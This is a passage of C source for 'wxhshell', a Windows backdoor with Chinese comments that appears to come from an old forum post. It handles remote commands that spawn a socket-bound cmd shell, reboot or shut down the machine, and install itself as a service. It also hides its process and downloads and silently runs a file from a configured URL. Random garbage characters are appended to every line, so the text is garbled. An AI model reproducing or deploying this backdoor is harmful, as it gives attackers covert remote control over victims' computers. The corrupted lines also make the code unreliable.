  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uZ\wwYY#M  
  } ut4r~~Ar  
  else { r+{d!CHq}  
4L=$K2R2r  
    switch(cmd[0]) { Dc.n-ipv$  
  M!Z*QY."P  
  // 帮助 hIVI\U,  
  case '?': { 3cOY0Z#T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jVad)2D  
    break; *%X6F~h(u  
  } v Zb|!#I  
  // 安装 -c+>j  
  case 'i': { >-5td=:Z  
    if(Install()) .!yWF?T8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1mHwYT+  
    else  ofMu3$Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W?qpnPW  
    break; x0\e<x9s  
    } -uA3Y  
  // 卸载 Z}8k[*.  
  case 'r': { ]By0Xifew  
    if(Uninstall()) |*^8~u3J"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uW}Hvj;0a*  
    else URYZV8=B~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5/B#)gm  
    break; D:wnO|:  
    } onnI !  
  // 显示 wxhshell 所在路径 t_jyyHxoZ:  
  case 'p': { N[qA2+e$Z  
    char svExeFile[MAX_PATH]; n1QEu"~Zj  
    strcpy(svExeFile,"\n\r"); fav5e'[$  
      strcat(svExeFile,ExeFile); R=-+YBw7/  
        send(wsh,svExeFile,strlen(svExeFile),0); *8$>Whr  
    break; X"h%tsuw  
    } -7>^ rR V  
  // 重启 `"a? a5]k  
  case 'b': { 8P,l>HA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); WD15pq l  
    if(Boot(REBOOT)) iH-bo@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I@n*[EC   
    else { EXA^!/)  
    closesocket(wsh); Ci~f#{  
    ExitThread(0); tm(v~L%$>]  
    } JY{X,?s  
    break; tg~A}1o`0  
    } 7\IL  
  // 关机 j~Q}F|i8  
  case 'd': { A LXUaE.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Q  |  
    if(Boot(SHUTDOWN)) ,{k<JA {  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~?#~Ar  
    else { 8r,9OM  
    closesocket(wsh); m_a^RB(  
    ExitThread(0); -=>sTMWpr  
    } 807al^s x  
    break; 0 _Q * E3  
    } h`=r )D  
  // 获取shell oZgHSRRL  
  case 's': { kMM'[w  
    CmdShell(wsh); jcE Msc  
    closesocket(wsh); 'KH lrmnr  
    ExitThread(0); .iFViVZC  
    break; ^6Yd}  
  } 6\NvG,8  
  // 退出 -*?p F_*w  
  case 'x': { R"@7m!IA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); v@VLVf)>9^  
    CloseIt(wsh); HLVQ7  
    break; & x`&03X  
    } Di:{er(p  
  // 离开 Q4RpK(N  
  case 'q': { Nepi|{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;;:">@5  
    closesocket(wsh); |2O')3p"9  
    WSACleanup(); xcst<=  
    exit(1); Us'Cs+5XcG  
    break; 4S tjj!ew  
        } 0; 7#ji  
  } `|nH1sHFq  
  } `%e|$pK  
;AKwx|I$g  
  // 提示信息 Hb+X}7c$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E Zi&]  
} G~"z_ (  
  } u$C\E<G^  
h\(B#SN  
  return; 6 Ew@L<v  
} }3Qc 24`  
@K\o4\  
// shell模块句柄 sm0fAL  
int CmdShell(SOCKET sock) E>E*ZZuhj  
{ P$g^vS+  
STARTUPINFO si; (~JwLe@a  
ZeroMemory(&si,sizeof(si)); rvwa!YY}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W RF.[R"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0LdJZP  
PROCESS_INFORMATION ProcessInfo; F>*{e  
char cmdline[]="cmd"; +~N!9eMc  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =~&VdPZ  
  return 0; )>V?+L5M  
} ;+a2\j+  
msiu8E  
// 自身启动模式 !}_b|  
int StartFromService(void) EkjgNEXq  
{ V43TO  
typedef struct uAUp5XP|Z  
{ S`0NPGn;@[  
  DWORD ExitStatus; 28a$NP\KW  
  DWORD PebBaseAddress; sf$o(^P9\A  
  DWORD AffinityMask; #AShbl jm+  
  DWORD BasePriority; \Wr,<Y  
  ULONG UniqueProcessId; }9^@5!qX  
  ULONG InheritedFromUniqueProcessId; {{\ce;hN  
}   PROCESS_BASIC_INFORMATION; cMaOM}mS  
M*w'1fT  
PROCNTQSIP NtQueryInformationProcess; \w%@?Qik  
"N 3)Qr  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J? .F\`N)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Zyu/|O g  
wPX*%0]  
  HANDLE             hProcess; 8#w)X/  
  PROCESS_BASIC_INFORMATION pbi; +>SRrIi  
V^TbP.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ird|C[la  
  if(NULL == hInst ) return 0; 2s\BY%XY  
d1c0l{JV3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :S -";.:"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); DN_W.o  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RO.U(T  
<F(><Xw,-4  
  if (!NtQueryInformationProcess) return 0; :Wc_Utt  
Qs%B'9")  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B2Z_]q$n*  
  if(!hProcess) return 0; rOcg+5  
Y]Vq\]m\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ; b*i3*!g  
Y%@hbUc}x9  
  CloseHandle(hProcess); eVJ^\z:4  
@}&_Dvf  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ml0*1Dw  
if(hProcess==NULL) return 0; Z.1> kZ  
6@V~0DG  
HMODULE hMod; v7,$7@$:\  
char procName[255]; 6~xBi(m`  
unsigned long cbNeeded; Ls}7VKl'   
0 ipN8Pg+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Hr^3`@}#1  
g9~]s 9  
  CloseHandle(hProcess); pDl3!m  
D=+NxR[  
if(strstr(procName,"services")) return 1; // 以服务启动 ,eRQu.  
nL-K)G,  
  return 0; // 注册表启动 ,[e\cnq[  
} @1:0h9%  
Z6Fp\aI8@  
// 主模块 ok{!+VCB5  
int StartWxhshell(LPSTR lpCmdLine) esX)"_xf  
{ jQ+sn/ROp  
  SOCKET wsl; fQdK]rLj  
BOOL val=TRUE; t~hTp K*  
  int port=0; Gh\q^?}  
  struct sockaddr_in door; GpI!J}~m  
+?dl`!rE  
  if(wscfg.ws_autoins) Install(); VUwC-)  
xfFg,9w8  
port=atoi(lpCmdLine); gE])!GMM3  
M{mSd2  
if(port<=0) port=wscfg.ws_port; 4a''Mi`u  
h@ )  
  WSADATA data; -LW[7s$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; g[[;w*;z  
Ii &7rdoxe  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t:)ERT")  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e<cM[6H'D  
  door.sin_family = AF_INET; VIJ<``9[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8gy_Yj&{P  
  door.sin_port = htons(port); gckI.[!b  
IzLQhDJ1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X3%Ic`Lq#  
closesocket(wsl); Ul+Mo&y-  
return 1; 6"f}O<M 5H  
} 5d\q-d  
!?!C'-ps  
  if(listen(wsl,2) == INVALID_SOCKET) { )B$;Vs] @i  
closesocket(wsl); = ieag7!  
return 1; ~j9O$s~)  
} =] C]=  
  Wxhshell(wsl); O"G >wv  
  WSACleanup(); rXfy!rD_P_  
p-SJ6Gg 9  
return 0; ]#2Y e7+  
alq%H}FF  
} vVl; |  
m P'^%TE  
// 以NT服务方式启动 hr GH}CU"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @]aOyb@  
{ "vZ!vt#'Y  
DWORD   status = 0; Qnd5X`jF#  
  DWORD   specificError = 0xfffffff; RsJ6OFcWV  
'T<iHV&  
  serviceStatus.dwServiceType     = SERVICE_WIN32; umi5Wb<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s?R2B)a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; u8GMUN  
  serviceStatus.dwWin32ExitCode     = 0; GL{57  
  serviceStatus.dwServiceSpecificExitCode = 0; U.!lTLjfLz  
  serviceStatus.dwCheckPoint       = 0; !> }.~[M  
  serviceStatus.dwWaitHint       = 0; ,#?uJTLH  
T"7~AbgNU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $(e#aHB  
  if (hServiceStatusHandle==0) return; ma'FRt  
!V 2/A1?  
status = GetLastError(); sZGj"_-Hzu  
  if (status!=NO_ERROR) 6Htg5o|W  
{ F# T 07<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9d[5{" 2j  
    serviceStatus.dwCheckPoint       = 0; D,qu-k[jMI  
    serviceStatus.dwWaitHint       = 0; v[e:qi&fG  
    serviceStatus.dwWin32ExitCode     = status; )B,|@ynu  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1K,1X(0rL8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); \^7C0R-hX  
    return; G)v #+4  
  } W6H,6v  
~w8JH2O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; X4l@woh%  
  serviceStatus.dwCheckPoint       = 0; ^j#rZ;uc   
  serviceStatus.dwWaitHint       = 0; YQJ==C1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); yeDsJ/L  
} ^V$Ajt  
ivDGZI9  
// 处理NT服务事件,比如:启动、停止 M])dJ9&e  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;{h CF  
{ +6wiOHB`  
switch(fdwControl) HK|ynBAo  
{ $`R6=\|  
case SERVICE_CONTROL_STOP:  <1%f@}+8  
  serviceStatus.dwWin32ExitCode = 0; NT@;N/I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xk&Jl#v  
  serviceStatus.dwCheckPoint   = 0; {:@tQdM:i8  
  serviceStatus.dwWaitHint     = 0; w2_bd7Wp<  
  { ~ .;<  Bj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;JZS^Wa  
  } y E[#ze  
  return; r'QnX;99T  
case SERVICE_CONTROL_PAUSE: 7$h#OV*@,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r{l(O,|e  
  break; pvmC$n^zc  
case SERVICE_CONTROL_CONTINUE: F1L:,.e`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a:QDBS2Llv  
  break; Uf}\p~;  
case SERVICE_CONTROL_INTERROGATE: C4TE-OM8  
  break; s(X;Eha  
}; ,^#yo6-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KM^ufF2[  
} y~()|L[  
")=X4]D  
// 标准应用程序主函数 P#=`2a#G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 8 r_>t2$  
{ Xy5e5K  
8Q_SRwN  
// 获取操作系统版本 >jD[X5Y  
OsIsNt=GetOsVer(); 4Y[1aQ(%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (}}S9 K  
W`c'=c  
  // 从命令行安装 M Y|w  
  if(strpbrk(lpCmdLine,"iI")) Install(); yX~v-N!X  
s%<eD  
  // 下载执行文件 [l,Ei?  
if(wscfg.ws_downexe) { 3}e%[AKh  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "etPT@gF  
  WinExec(wscfg.ws_filenam,SW_HIDE); j~*L~7  
} W.kM7z>G  
6{txm+U  
if(!OsIsNt) { itC-4^  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ja9e^`i;  
HideProc(); D 9M:^  
StartWxhshell(lpCmdLine); s6>ZREf#J  
} =:~R=/ZXk  
else KEWTBBg  
  if(StartFromService()) >,td(= :  
  // 以服务方式启动 hdrm!aBd  
  StartServiceCtrlDispatcher(DispatchTable); hP15qKy  
else W*2U="t  
  // 普通方式启动 |P%Jw,}]9  
  StartWxhshell(lpCmdLine); }sxYxn~  
6i}iAP|0  
return 0; s_mS^`P7  
}
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只看该作者 1 发表于: 2006-10-10
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